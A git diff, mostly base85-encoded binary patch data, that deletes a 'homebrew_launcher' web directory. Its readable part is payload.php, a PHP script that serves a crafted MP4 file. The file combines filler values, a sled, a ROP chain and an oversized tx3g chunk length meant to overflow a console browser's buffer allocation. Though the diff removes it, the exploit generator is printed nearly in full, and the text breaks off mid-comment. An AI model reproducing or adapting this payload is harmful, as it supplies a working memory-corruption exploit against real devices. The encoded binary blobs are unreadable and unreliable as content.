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 MuX1p3 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 U=Y;21o|Ct{>bcD0x!gkk2j%B&M*si- diff --git a/www/homebrew_launcher/code550.bin b/www/homebrew_launcher/code550.bin deleted file mode 100644 index ea793305f07bc60c14d6a4fc7cab16f64a80ca2a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 11728 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 diff --git a/www/homebrew_launcher/frame.html b/www/homebrew_launcher/frame.html deleted file mode 100644 index 9061fea..0000000 --- a/www/homebrew_launcher/frame.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - diff --git a/www/homebrew_launcher/index.html b/www/homebrew_launcher/index.html deleted file mode 100644 index 1f1ee7d..0000000 --- a/www/homebrew_launcher/index.html +++ /dev/null @@ -1,118 +0,0 @@ - - - - -
- - - - diff --git a/www/homebrew_launcher/payload.php b/www/homebrew_launcher/payload.php deleted file mode 100644 index 7488919..0000000 --- a/www/homebrew_launcher/payload.php +++ /dev/null @@ -1,166 +0,0 @@ -= 0x6000) - { - header("HTTP/1.1 500 Internal Server Error"); - die("The payload binary is too large.\n"); - } - - while($i+4 < 0x5000) - { - $con.= pack("N*", 0x90909090); - $i+= 4; - } - - continue; - } - else - { - $writeval = 0x58585858; - } - } - else if($i<$tx3g_ropchain_start) - { - $writeval = $ROP_POPJUMPLR_STACK12; - } - else if($i==$tx3g_ropchain_start) - { - $con.= pack("N*", $ROP_POPJUMPLR_STACK12); - $con.= pack("N*", 0x48484848);//If LR ever gets loaded from here there's no known way to recover from that automatically, this code would need manually adjusted if that ever happens. Hopefully this doesn't ever happen. - $i+= 0x8; - $con.= $ROPCHAIN; - $i+= strlen($ROPCHAIN)-4; - - if($i+4 > $first_tx3g_size-8) - { - header("HTTP/1.1 500 Internal Server Error"); - $pos = ($i+4) - ($first_tx3g_size-8); - die("The generated ROP-chain is $pos bytes too large.\n"); - } - - continue; - } - else - { - $writeval = 0x48484848; - } - - $con.= pack("N*", $writeval); -} - -$con.= pack("N*", 0x1c5);//Setup the mdia chunk. -$con.= pack("N*", 0x6d646961); - -$con.= pack("N*", 0x1);//Setup the second tx3g chunk: size+chunkid, followed by the actual chunk size in u64 form. -$con.= pack("N*", 0x74783367); -$con.= pack("N*", 0x1); -$con.= pack("N*", 0x100000000-$first_tx3g_size);//Haxx buffer alloc size passed to the memalloc code is 0x100000000. - -for($i=0; $i<0x2000; $i+=4)//Old stuff, probably should be removed(testing is required for that). -{ - $con.= pack("N*", 0x8495a6b4); -} - -header('HTTP/1.0 200 OK'); -header("Content-Type: video/mp4"); -header('Accept-Ranges: bytes'); -header('Content-Length: '.strlen($con)); -header("Content-Transfer-Encoding: binary\n"); -header('Connection: close'); - -// thanks to http://loadiine.ovh for finding this out -// At this 